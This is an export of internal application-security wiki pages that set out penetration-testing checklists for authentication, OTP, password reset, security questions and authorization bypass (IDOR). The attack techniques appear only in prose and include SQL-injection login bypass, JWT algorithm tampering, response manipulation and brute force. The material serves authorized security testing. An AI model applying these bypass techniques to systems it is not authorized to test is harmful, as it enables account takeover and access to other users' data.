[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Vulnerabilities" \l "page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified by [Otaner, Kayra](https://confluence.es.ad.adp.com/display/~otanerka" \o ") on [Sep 08, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1256519905&selectedPageVersions=4&selectedPageVersions=5)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Vulnerabilities#page-metadata-start)

***We are working on this, visit back again***

This page contains information about different vulnerability classifications, Techniques, Tutorials, Remediation, Payloads, Cheat sheets etc.

The penetration testing performed as part of application security tests and code reviews is intended to assess the application design, data that the application presents, security measures that have been established to protect the information and the methods and various interfaces that the application employs. To evaluate the security of an application, attempts will be made to perform unauthorized transactions, obtain confidential information, and determine the overall security of the application by performing a wide variety of vulnerability checks.

Application assessment methodology is based on both internal and industry best practices, including but not limited to, Open Web Application Security Project ([OWASP](https://adpworks.jiveon.com/external-link.jspa?url=https%3A%2F%2Fwww.owasp.org%2Findex.php%2FCorporate_Supporter_Bios)), SANS Institute, and Web Application Security Consortium (WASC).

* [Authentication](https://confluence.es.ad.adp.com/display/APPSEC/Authentication)– review of password strength, lockout, change function, logout, bypass, brute force, denial of service, and administrative 2 factor controls.
* Authorization – review of auto-complete, forceful browsing, bypass, harvesting via error messages or account formats, and privilege escalation.
* Client Side Issues – review of signed applets and/or active controls where applicable.
* Cryptography – review of valid code signatures and SSL certificates, key management, plaintext transport, algorithms, keys, and SSL ciphers.
* General Application Fitness – review of conformance to ADP’s policies, E-Commerce Security, and compliance Requirements, in addition to, general coding best practices.
* Information Leakage – review of indexing, robots.txt, default content, executables, URL encoding, caching, cross frame spoofing, error, help, and comment messages for personal, sensitive or system related information.
* Input validation – review of post and get commands, hidden elements, cross-site scripting, SQL injection, and malicious file handling.
* Session Configuration – review of HTTP commands including PUT, TRACE, TRACK, and DELETE.
* Session Management – review of cookies, predictability, manipulation, cloning, hijacking, page expiration, session timeout, IP hopping, session credentials, ID, and strength.
* System Configuration – review of web, application server, database, testing content, extensions, unhandled exceptions, and security patches.
* Other – review of additional security controls, logic flows, server executables (.CGI, .ASP, .PHP, Cold Fusion, PERL, etc.), bounds checking, stack-based buffer overflow. Additional, review of hard coded or unprotected credential disclosure in URLs, static or dynamic pages, accessible configuration files and/or code.

Vulnerability Databases

| **DB** | **Notes** | **Used by (Tool)** |
| --- | --- | --- |
| **DB** | **Notes** | **Used by (Tool)** |
| NVD | The National Vulnerability Database (NVD) is the largest publicly available source of vulnerability intelligence. It is maintained by a group within the National Institute of Standards and Technology (NIST) and builds upon the work of MITRE and others. Vulnerabilities in the NVD are called Common Vulnerabilities and Exposures (CVE). There are over 100,000 CVEs documented in the NVD spanning from the 1990’s to the present.   * <https://docs.dependencytrack.org/datasources/nvd/> | DependencyTrack |
| NPM | NPM public advisories is a centralized source of vulnerability intelligence specific to Javascript and Node.js that may or may not be documented in the National Vulnerability Database. Projects that leverage Node.js will benefit from the NPM Audit datasource as it provides visibility on vulnerabilities specific to the ecosystem.   * <https://docs.dependencytrack.org/datasources/npm/> | DependencyTrack |
| Sonatype OSS Index | Sonatype OSS Index provides transparent and highly accurate results for components with valid Package URLs. The majority of vulnerabilities directly map to CVEs in the National Vulnerability Database (NVD), however, OSS Index does contain many vulnerabilities that are not present in the NVD.   * <https://docs.dependencytrack.org/datasources/ossindex/> * <https://ossindex.sonatype.org/#integrations-tab-pane> | DependencyTrack |
| VulnDB | VulnDB, a subscription service offered by Risk Based Security, offers a comprehensive and continuously updated source of vulnerability intelligence.  Organizations that consume VulnDB content benefit from data which has been enhanced, corrected, and made available sooner than the National Vulnerability Database. As a result, organizations are able to respond quicker and with more confidence to reduce risk.   * <https://docs.dependencytrack.org/datasources/vulndb/> | DependencyTrack |
| WhiteSource | WhiteSource Vulnerability Lab is where you can find the information that you need about open source security vulnerabilities, aggregated by WhiteSource’s comprehensive open source vulnerabilities database from hundreds of both popular and under-the-radar community resources.  The WhiteSource open source vulnerabilities database covers over 200 programming languages and over 3 million open source components. It aggregates information from a variety of sources including the NVD, security advisories, and open source project issue trackers, multiple times a day.   * <https://www.whitesourcesoftware.com/vulnerability-database/> | WhiteSource |
| OSV | OSV is a [vulnerability database](https://osv.dev/list) and triage infrastructure for open source projects aimed at helping both open source maintainers and consumers of open source. This feed contains vulnerabilities from [OSS-Fuzz](https://github.com/google/oss-fuzz) (mostly C/C++), [Python](https://github.com/pypa/advisory-db), and [Go](https://github.com/golang/vulndb), and [DWF](https://github.com/distributedweaknessfiling/dwflist). This is an [open source project](https://github.com/google/osv) from **Google**.   * <https://osv.dev/> | N/A |
| Other | * <https://docs.dependencytrack.org/datasources/repositories/> | DependencyTrack |
| Microsoft | * <https://docs.anchore.com/current/docs/overview/feeds/> | Anchore Enterpise |
| Operating System | alpine, rhel, centos, oracle, debian, ubuntu, amzn   * <https://docs.anchore.com/current/docs/overview/feeds/> | Anchore Enterpise |

* [**Authentication**](https://confluence.es.ad.adp.com/display/APPSEC/Authentication?src=contextnavpagetreemode)
  + [Account Lockout](https://confluence.es.ad.adp.com/display/APPSEC/Account+Lockout?src=contextnavpagetreemode)
  + [Authentication Bypass](https://confluence.es.ad.adp.com/display/APPSEC/Authentication+Bypass?src=contextnavpagetreemode)
  + [InSecure Forgot Password Process](https://confluence.es.ad.adp.com/display/APPSEC/InSecure+Forgot+Password+Process?src=contextnavpagetreemode)
  + [OTP Configuration](https://confluence.es.ad.adp.com/display/APPSEC/OTP+Configuration?src=contextnavpagetreemode)
  + [Password Change](https://confluence.es.ad.adp.com/display/APPSEC/Password+Change?src=contextnavpagetreemode)
  + [Security Questions](https://confluence.es.ad.adp.com/display/APPSEC/Security+Questions?src=contextnavpagetreemode)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Account+Lockout#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o ") on [Aug 18, 2020](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1281689142)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Account+Lockout#page-metadata-start)

The application should implement account lockout feature as per GSO [Authentication Standard](https://adp.policytech.com/dotNet/documents/?docid=1357) . The account should temporarily be locked for the period of time specified in the standard when the threshold for consecutive invalid password attempts has been reached . While the account is locked the system MUST NOT process any additional login attempts and SHOULD notify that they may not attempt to login again until the lock out period has been fulfilled.

Test Scenarios:

1. Verify the number of consecutive invalid login attempts to lock the user account and the lockout period is as per standard or not.
2. Verify the account is locked properly or not by giving valid credentials after account gets locked.  It should be verified in different browser session too.
3. Check whether the application is using any client-side parameters to represent the lockout, and can it be bypassed?
4. Check how the application is validating Captcha, If the application implements the Captcha after particular number of invalid attempts,
   1. Is it well known Captcha mechanism like reCAPTCHA or custom written?
   2. Can the backend login request (APIs) be submitted directly without involving the captcha?
   3. Look for client-side parameters, based on which the application is showing the Captcha? Does the application recognize the request based on the cookies or IP address? Is there a way to change any parameters to make the request looks new?
5. Verify for possibility of user name or password enumeration.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Authentication+Bypass#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Mar 05, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1444776444&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Authentication+Bypass#page-metadata-start)

**Application allows the unauthorized/authorized user to gain access to the data/internal pages that is supposed to be accessed only after authentication has been performed.**

**Popular Authentication Types**

1. **Cookies**: Whenever a user logs in to the application server generates session cookies in the user’s browser.
2. **Bearer Tokens:**In this mechanism, authentication is performed via tokens. After providing the correct credentials server generates a token that is sent to the server in every request.

**Ex:** JWT, OAuth, SAML

1. **Digest Authentication:** In this method, the authorization header takes username and password which is sent to the hash function which uses MD5 cryptographic hashing with nonce before sending it to the server.
2. **HTTP Basic Authentication:** This approach requires username and password through HTTP Header itself which is encoded in base64.

**Scenarios:**

1. Try to bypass the login page using the SQL injection.
2. Try to access the pages in the application directly without authenticating into the application.
3. When API’s are used in the authentication mechanism, in that case modify the response of failed login attempt with that of a successful login event.
4. Check if the application is generating the predictable session identifiers, if that is the case predict the session identifier to bypass the authentication.
5. Check if the authentication is dependent on any parameters, if so try to modify them.
6. Try to bypass the authentication using the brute force.
7. Check if we can enumerate the usernames form the application to bruteforce the password.
8. If the application is using JWT for the authentication purpose, then check the below cases
   * Check if the JWT signature is validated by the server, i.e change the algo type to none and remove the signature part of the token.
   * Check if the JWT payload contains the ID related to the user, change its value to other value and rebuild the token and send it to the server.
   * Check the type of algorithm used by application for validating the token, if the application is using the asymmetric algo(RS256) then modify it to symmetric algo(HS256) and extract the secret key(public key in this case) from the certificate.
   * If the application is using the symmetric algo for the validation of token, then try to bruteforce the signature part of the token.

9. If the application is using OAuth for authentication purpose, then check for the below cases:

* Check if we could reuse the authorization code, i.e. validate if the code is getting expired after some time or are we able to use the same code again to get the authorization token.
* Check for the url redirection in the url\_redirect parameter.
* Check if the authorization token is being saved in the browser local data storage.

10. If the application is using OAuth for authentication purpose, then check for the below cases:  
       Check if the signature and assertion values are validated by the service provider.

11. Sometimes when we give incorrect creds, it will redirect to login page with 302 status code. but the response body will contain POST login page. In that case we can change the status code to 200 and send it this will lead to auth bypass. It can be termed as Auth bypass using long redirectional response

12. Try with Default credentials

13. Check if there are any hardcoded credentials stored at client side.

14. Submit a partial username and/or password and check whether application accepts it. Sometimes applications only check the first 8 characters and not after that. Set long password and then submit only first 8 characters or lower and check if application accepts it.

15. Submit a blank username and/or password and check whether application accepts it

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/InSecure+Forgot+Password+Process#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 22, 2020](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1256519922&selectedPageVersions=8&selectedPageVersions=9)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/InSecure+Forgot+Password+Process#page-metadata-start)

The application's forgot password process should be implemented as per GSO [Authentication Standard](https://adp.policytech.com/dotNet/documents/?docid=1357) .

Test Scenarios:

1. Verify, the application's forgot password process is as per GSO [Authentication Standard](https://adp.policytech.com/dotNet/documents/?docid=1357) or not.
2. Verify, if the application allows to set password for any other user during this process by simply modifying user identifiers.
3. Verify, account lockout policy/rate limit is implemented properly while answering the security questions and OTPs.
4. Try to modify registered email-ID or mobile number, where OTP will be sent by manipulating request/response.
5. Check how user identification happens during the forgot password process.  
     
   **When OTP/Tokens are present please verify the below points.**

1. Check that the application is sending any OTP's or any other sensitive tokens in response.

2. Verify whether is there any account lockout policy is implemented after unsuccessful attempts of OTP's/Token(Please refer the policy for more information on account lockout and OTP length).

3. Check for OTP / Token validation is implemented at client-side or server-side.

4. Try to manipulate the invalid response with valid response and try to bypass the OTP Validation.

5. Check for OTP length.(Refer the policy document for length of OTP).

6. Try to remove the OTP parameter and send the request to the application.

7. Send empty OTP to the server and check whether the server accepts or not.

8. Reuse the expired OTP's/ Token and check whether the application is accepting or not.

9. Check for any hard coded values are accepting as OTP's(Like 000000,111111,222222,………999999)

**When Security questions are present**.

1. Check for Security answer length.(Refer the policy document)

2. Send empty Security answer and forward the request, Check the application is accepting or not.

3. Manipulate the invalid response with valid response and try to bypass the security answer verification.

4. Try to remove Security Question & answer parameter and check the application is accepting or not.

5. Check whether the application is sending Security answers in response.

**When application sends the forgot password link/Temporary passwords to email or mobile (SMS)**

1. Check any for any userID/EmployeeID. If present try to manipulate to other's userID/EmployeeID and bypass the authentication.

2. Check for reuse of forgot password link.

3. Check for any sensitive information like uname and temporary password.

4. Check for the application is sending the username and Temporary password in one email.

5. Check whether the application is asking the user to force change the temporary password after login to the application with temporary password. (Only applicable when a temporary password sent to email / SMS)

Check the response for 302 status code and check whether can we re-direct to the successful home page of the application even if authentication failed.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/OTP+Configuration#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o ") on [Aug 17, 2020](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1280966758)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/OTP+Configuration#page-metadata-start)

This page is under development...

A one-time password (OTP), also known as one-time pin or dynamic password, is a password that is valid for only one login session or transaction, on a computer system or other digital device.

1)    An OTP generated should be having a time limit within which it should be used and expires automatically

2)    A user should be allowed only few attempts to provide OTP after which the session should be invalidated to avoid any brute force attacks

3)    No Personal information should be displayed like email id or Mobile number where the OTP is sent

4)    There should be limit on the number of times OTP can be resend

5)    OTP should have minimum of 6 digit

6)    No Options should be there to modify the registered email id or mobile number without authentication

7)    The OTP validation should not be based on single Boolean variable which can be modified to bypass authentication

8)    A new user registration process should not be misused to update different email id or Mobile number for an existing user

9)    Try creating multiple OTP and understand the pattern in which OTP is generated as some applications generate incremental OTP rather than random one

10)  Check if the application reveals algorithm used to generate OTP in the request/response

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Password+Change#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified on [Aug 18, 2020](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1272125910&selectedPageVersions=2&selectedPageVersions=3)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Password+Change#page-metadata-start)

The application should have change password functionality which provides a way for a legitimate user to change their password. This functionality is mainly used by the legitimate user to change his/her own password in the case of "Password Theft" where the user believes that their current password has been stolen or his/her current password is weak enough to brute-force.

Test Scenarios:

* Check that the application is asking for current/old password while changing the password
* Check the application is masking the password while entering
* Check for password policy is implement as per ADP password policy
* Check if application is verifying the current password first and after successful verification the application is taking the new password- in this case enter the invalid current password  and replace the invalid response with valid response(applicable only if there are any authentication codes or token are not sent for authentication purpose)
* Check whether the application is sending any usernames in change password request, if yes try to replace the same with other username and change the password.
* Send partial password in current password and check that the application is accepting it or not.
* Remove current password parameter in response and send only new password to the server
* Send Empty current password and try to change the password.
* Check for CSRF attack is possible or not (Applicable only when current password is not present)
* Try to enter previously used passwords in current password and try to change the password
* Submit an additional username parameter at the Change Password page (Applicable only when username/userID is going in request)
* Check whether the application is having any lockout at change password functionality
* If a user gives a wrong password in the Change Password field, is he/she logged out
* Check for Absence of server side validation for weak password
* Can SQL Injection be used to change passwords of other users?
* After changing the password check whether the new password is reflected back in the response
* After changing the password, logout and login to the application with old password.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Security+Questions#page-metadata-end)

* Created by [Parvathaiahgari, VasanthaReddy (CORP)](https://confluence.es.ad.adp.com/display/~ParvatVa" \o "), last modified by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Apr 06, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1287854903&selectedPageVersions=6&selectedPageVersions=7)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Security+Questions#page-metadata-start)

The application should implement Security Questions feature as per GSO [Authentication Standard](https://adp.policytech.com/dotNet/documents/?docid=1357).

**Description:**Security questions on any on-line service are designed to validate that a user is who they say they are. They are part of a general strategy on identification, which assumes that any person has several ways they can uniquely identify themselves:

1. Something you know – ex: username/password, security questions.

2. Something you have in your possession Ex: Credit card

3. Something you “are” – ex: biometrics

Security questions attempt to authenticate a user by validating information about that user, for example the road they lived on when a child or who their 3rd grade teacher was.

Security questions MUST NOT be used as a primary authentication credential during normal user login.

Security questions MAY be used as additional authentication for particular sensitive actions of an already logged in user,

as credentials during a forgotten or lost credential process, and

as additional authentication for an expired credential.

**Test Scenarios:**

Check whether the application is asking for security questions while resetting the password in case of forgotten or lost credentials and expired credential.

Check whether the Minimum Answer Length for a security question is 2 characters.

Maximum Answer Length for a security question should not be over 256 characters.

Check whether the application sends the answers for the security questions in the password reset link

Check whether the application sends the answers for the security questions as part of response headers or body.

Stored answers to security questions for users MUST NOT contain:

* The user’s User-ID.
* The user’s password.
* Key words from the question
* 4 or more sequential characters in a row, ascending or descending
* 4 or more identical characters in a row
* If the answer is 2-3 chars long, the characters cannot be ascending or descending
* If the answer is 2-3 chars long, the characters cannot be all the same

Security questions MUST NOT be used as a primary authentication credential during normal user login.

Check for Question Lifetime Invalid Attempts.

**Vulnerability description details:**

The application does not implement the Security Question & Answers mechanism during "Forgot Password" process. Application just asks for the valid email id/ user id and sends a link to change the password to the email id provided. It may help the attackers to initiate the requests for "Forgot Password" flow without user's consent. Also application is sending password in simple plain text to the registered email id, instead of sending a link to change the password.

Impact of the vulnerability is rated as Medium as User receives mail to change the password.

Likelihood of the vulnerability is rated as Low as valid email address is required to initiate the Forgot Password process and user email account should be compromised to perform further attack.

* [**Authorization**](https://confluence.es.ad.adp.com/display/APPSEC/Authorization?src=contextnavpagetreemode)
  + [Authbypass and Privelage escalation](https://confluence.es.ad.adp.com/display/APPSEC/Authbypass+and+Privelage+escalation?src=contextnavpagetreemode)
  + [Forceful browsing](https://confluence.es.ad.adp.com/display/APPSEC/Forceful+browsing?src=contextnavpagetreemode)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Authbypass+and+Privelage+escalation#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1467417863)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Authbypass+and+Privelage+escalation#page-metadata-start)

**Note: This Document needs to be reviewed by team**

**Testing Guide for Authorization Bypass and Privilege Escalation**

**Authorization Bypass at a Glance**

* **What is authorization?**  
  - It’s a process of specifying access rights/privileges to resources.
* **When do you say the application is vulnerable to Authorization bypass?**  
  - When the application allows a user to have unintended access to data or functionality belonging to another user.
* **What needs to be verified?**  
  - Verify if resources accessible to one user are also accessible by other user.  
  For example Profile page of employee A being accessible by employee B by performing authorization bypass checks.
* **Where can you identify this vulnerability?**  
  - Every point in the application which displays specific data or provides specific information or performs specific activity depending on the logged in user.
* **How to identify this vulnerability?**  
  - Look for all the suspicious data in query strings/post parameters/headers/non session cookies using which the application tries to identify the logged in user and provides the responses.  
  - Observe by modifying this suspicious data if you are able to retrieve other user’s data.
* **How to fix this vulnerability?**- Perform proper authorization checks at the server end before granting access to any resource of the application.

**Authorization Bypass in Details**

Insecure Direct Object Reference may be one of the reasons for Authorization Bypass vulnerabilities.

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter.

Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. An attacker can manipulate direct object references to access other objects without authorization, unless an access control check is in place.

 As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.

**Pre-requisites for Verification**

* Before verifying Privilege Escalation or Authorization Bypass in any application, the tester has to gain enough knowledge on all the user roles defined for the system and the access rights (functionalities) granted to each.
* The above information has to be collected during the scope review process or application demonstration sessions. If missing, contact the development team and collect the required information.
* At least two users with varying access levels are required to verify Privilege Escalation and two same access level users are required for Authorization Bypass verifications.
* For Privilege Escalation, make a list of at least five (check with your lead if that’s enough) distinct functionalities present in user roles having higher access level which does not exist in the accounts of users having less privileges.
* Verify at least 5 functionalities (if present) before declaring the application to be free of Escalation or Authorization flaws. It is not possible to consider each and every case in manual pen testing, considering the time limitations.
* Choose the most critical functionalities in the application as test cases first for the verification and consequently move to less critical functionalities, so that in case of time seizers, at least important cases gets enumerated in the documentation.
* Always make a point to include at least one test case instance of very rarely used non-critical functionality of the application (if present and identified) as that would have been improperly implemented due to its mere importance in the application.
* For example, an application emphasizing recruitment tracking functionalities may not consider ‘Chat’ functionality as seriously as the functionality ‘Submit Documents’ available to the users. Such cases should be verified as the chances of missing or improper authorizations are more likely to exist here.

**Steps to verify the existence of Authorization Bypass in an application**

Let us suppose that there are three users in a given application, say, A, B and C, where A and B have same level access to the system/application and C has a higher-level access.

With same level access we mean that both the users have same functionalities in their respective accounts, whereas higher level access means that the user has additional or different functionalities in its account.

Through the following steps we would address the below verification.

For direct references to restricted resources, does the application fail to verify whether the user is authorized to access the exact resource they have requested or not?

**Step 1: Identification of Vulnerable Functionality and Parameters**

To test authorization bypass the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more.

1. Select a user, say, A.
2. Access the application using the supplied URL and log into it as A.
3. Select any one functionality from this user’s account that displays data or performs any action or task specific to A. For example consider, “View Payslip” functionality. When accessed through the account of user A, ideally it is expected that A’s payslip would be displayed.
4. Use an interception proxy to track the communication, say Burp. Start interception.
5. Insert the required data expected from the end user in the page and submit the request. Label this request as Request 1.
6. Examine Request 1 for any parameters that uniquely identifies user A. If there are no parameters in the request, it implies that the application is using session identifier to serve the request. In such cases, check for Case 5.
7. If there is any parameter that you think may define user A, note the value of this parameter. Let us consider this to be Parameter 1 and its corresponding value to be Value 1.
8. Submit the request to the server and observe the response. Make sure the functionality is working well and fetching a proper valid response.
9. To check out if our observation is true wrt. the identified parameter, access the functionality once again, say this be Request 2 and the value of Parameter 1 in this be Value 2.
10. Compare the previously noted value of the Parameter 1 from Request 1 and Request 2, that is, compare Value 1 and Value 2.
11. If the parameter remains constant, there might be a possibility that the application is using this parameter to uniquely identify the user A. Let us label this as Case 1. With this we are able to confirm that the application uses a constant parameter value for a user across all sessions.
12. If Value 1 and Value 2 appears to be distinct, then label this as Case 2. With this we are able to confirm that the application generates a new parameter value for a user corresponding to each session.
13. To verify our assumption, login to the application as user B.
14. As user A and B are of same access level, the “View Payslip “functionality would also exist in user B.
15. Access the said functionality and capture the request in the proxy. Let us label this request as Request 3 and the value of our Parameter 1 as Value 3.

**Step 2: Data Collection for Comparisons:**

1. **For Case 1:** Compare Value 1 with Value 3. If the values are distinct, make a note of Value 3. This would suggest that the value of Parameter 1 is distinct for each user and identifies it uniquely.
2. Submit the request to the server and observe the response. Payslip of user B is the expected outcome. This response would serve as the base for verifying the authorization bypass in this application.

**Step 3: Verification of the Assumption**

Now the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.

1. Log in as user A and access the same functionality. Capture the request. Label this as Request 4.
2. Substitute the value of Parameter 1 with the Value 3. Submit the request to the server.
3. Observe the response. If the application loads the payslip of the user B in the account of user A, then we would consider this case as an Authorization Bypass. (We have substituted the value of Parameter 1 of user B in A’s account, hence B’s Payslip would be fetched if vulnerable).
4. As per the Authorization Schema of the application, no user should have access to data of any other user. The above case clearly shows that either Authorization is missing in this functionality or have been poorly defined without considering Parameter 1.

**For Case 2:** In such a case where in the parameter value is randomly generated for each session, try to substitute Value 1 in Request 2 and submit the request.

1. Based upon the response received, the following two cases arise.  
   **Case 2.1**: If the response is same as in case with Value 2, then it implies that although the application is generating distinct values for the same user for each session, it is accepting the previously generated values.
2. The above case implies that although the user and the value of Parameter 1 are linked, there is no binding of value of Parameter 1 with the current session.
3. Repeat the steps as in Case 1 and check out the results.
4. If the application loads the payslip of the user B in the account of user A, then we would consider this case as an Authorization Bypass.  
   **Case 2.2:** If the response is different, it states that the application is defining the value of Parameter 1 per session per user.
5. Repeat the steps as in Case 1 and check out the results.
6. If the application loads the payslip of the user B in the account of user A, then we would consider the above case as an Authorization Bypass.

**Likelihood Considerations**

**Case 2.2:** In such a case as guessing the value generated in each session for a specific user would be more challenging and practically not possible, the likelihood of such an authorization bypass case would lower down to minimum.

**Note:** Never draw conclusions based upon the HTTP response code or status or Content Length header. Walk through the complete response and identify the user specific data.

Case 2.1 and 2.2 are both valid cases of authorization bypass except for the fact that the likelihood of such cases would differ from Case 1, hence differentiated and categorized.

**Case 3: Base 64 Encoded Parameters**

Check the request for the presence of any Base 64 encoded Parameters. If there exists any, decode the parameter and examine the contents. If there are any uniquely identifying values, repeat the above process, by collecting the value of other user, encoding this content and then substituting in a request through other user account.

**Case 4: Authorization Schema defined by more than one Parameter**

There might be cases where more than one Parameter defines the user’s authorization. Identify all such combinations of parameters that are used to implement authorization for the functionality and verify if it could be bypassed.

**Case 5: User Specific Information as part of URL**

There might be cases where in the application generates a string that uniquely identifies the user, that are embedded in the URL itself as it inherent part.

For Example,

**URL for User 1:**

GET /api/v1/user/**75f7955d-b873-3d55-dd4bbf143d937421**/profile?\_=1537857948492

**URL for User 2:**

GET /api/v1/user/**abc83958-af55-052b-470b-60641a4639e0**/profile?\_=1538371952802

Such parameters should also be noted and checked for authorization bypass scenarios.

**Case 6: Encrypted Values:**

Very critical applications, like tendering or banking applications, implement encryption of each single value used in the request. Values not expected from the user are encrypted at the server and embedded into the application as hidden values. When the request is submitted, these values are added to the generated request.

Encryption or encoding the values does not in itself mean that proper authorization has been implemented for these cases.

Tester has to consider these values as any other value in the above stated cases and check for authorization bypass scenarios.

**Likelihood and Impact Considerations**

* Likelihood of authorization bypass cases would largely depend upon the identification of the vulnerable parameters and guessing the valid values for the same.
* As for authorization bypass to happen, it requires the attacker to be a part of the system, enrolled as a user. This would lower the likelihood as attacker first needs to gain the access to the application.
* Impact of authorization bypass depends upon the vulnerable functionality. For example, “View Payslip” functionality may be considered a case of high impact compared with “View Calendar”.

**Tools Available in the Market**

### **1.      AuthMatrix**

AuthMatrix is an extension to Burp Suite that provides a simple way to test authorization in web applications and web services. With AuthMatrix, testers focus on thoroughly defining tables of users, roles, and requests for their specific target application upfront. These tables are displayed through the UI in a similar format to that of an access control matrix common in various threat modeling methodologies.

Once the tables have been assembled, testers can use the simple click-to-run interface to kick off all combinations of roles and requests. The results can be confirmed with an easy to read, color-coded interface indicating any authorization vulnerabilities detected in the system. Additionally, the extension provides the ability to save and load target configurations for simple regression testing.

### **2.      Steps to use** **AuthMatrix**

1. Create roles for all privilege levels within the target application. (Common roles may include User, Admin, and Anonymous)
2. Create enough users to fit these various roles and select the checkboxes for all roles that the user belongs to.
3. From another area of Burp Suite (i.e. Target tab, Repeater Tab, etc) right click a request and select “Send to AuthMatrix.”
4. In the second table of AuthMatrix, select the checkboxes for all roles that are authorized to make each HTTP request.
5. Create a Response Regex based on the expected response behavior of the request to determine if the action has succeeded.
   1. Common regexes include HTTP Response headers, success messages within the body, or other variations within the body of the page.
   2. NOTE: Messages can be configured to use a Failure Regex instead through the right-click menu (i.e. Anonymous should never receive an HTTP 200)
6. Generate session tokens for each user from the Repeater tab and enter them into the relevant column within the first table (Cookies, HTTP Header, HTTP Parameter).
   1. If the target uses static CSRF tokens, place these into the HTTP Parameter column
   2. NOTE: Multiple cookies can be added using a “;” separator. Currently, only one HTTP Header or HTTP Parameter is supported.
7. Click Run at the bottom to run all requests or right click several messages and select run. Observe that the adjacent table will show color-coded results.
   1. Green indicates no vulnerability detected
   2. Red indicates the request may contain a vulnerability
   3. Blue indicates that the result may be a false positive. (This generally means there is an invalid/expired session token or an incorrect regex).

More at <https://github.com/PortSwigger/auth-matrix> .

1. **Autorize**

Autorize is an automatic authorization enforcement detection extension for Burp Suite. It was written in Python by Barak Tawily, an application security expert, and Federico Dotta, a security expert at [Mediaservice.net](http://mediaservice.net/). Autorize was designed to help security testers by performing automatic authorization tests. With the last release now Autorize also perform automatic authentication tests.

**Steps to use Autorize:**

1. After installation, the Autorize tab will be added to Burp.
2. Open the configuration tab (Autorize -> Configuration).
3. Get your low-privileged user authorization token header (Cookie / Authorization) and copy it into the textbox containing the text "Insert injected header here". Note: Headers inserted here will be replaced if present or added if not.
4. Uncheck "Check unauthenticated" if the authentication test is not required (request without any cookies, to check for authentication enforcement in addiction to authorization enforcement with the cookies of low-privileged user)
5. Click on "Intercept is off" to start intercepting the traffic in order to allow Autorize to check for authorization enforcement.
6. Open a browser and configure the proxy settings so the traffic will be passed to Burp.
7. Browse to the application you want to test with a high privileged user.
8. The Autorize table will show you the request's URL and enforcement status.
9. It is possible to click on a specific URL and see the original/modified/unauthenticated request/response in order to investigate the differences.

More at <https://github.com/Quitten/Autorize> .

**Some Reported Cases of Authorization Bypass**

**Linked in** : <http://niiconsulting.com/checkmate/2013/04/authorization-bypass-on-linkedin/>

<http://niiconsulting.com/checkmate/2013/10/linkedin-authorization-bypass-vulnerability-to-send-messages/>

**Common Weakness Enumeration**

## Common Weakness Enumeration covers these vulnerabilities under CWE-639: Authorization Bypass Through User-Controlled Key, CWE-285: Improper Authorization, CWE-862: Missing Authorization.

## Note: This is not an exhaustive list.

## <https://cwe.mitre.org/data/definitions/639.html>

## <https://cwe.mitre.org/data/definitions/285.html>

## <https://cwe.mitre.org/data/definitions/862.html>

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Forceful+browsing#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1467417887)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Forceful+browsing#page-metadata-start)

**Note: This document needs to be reviewed by our team**

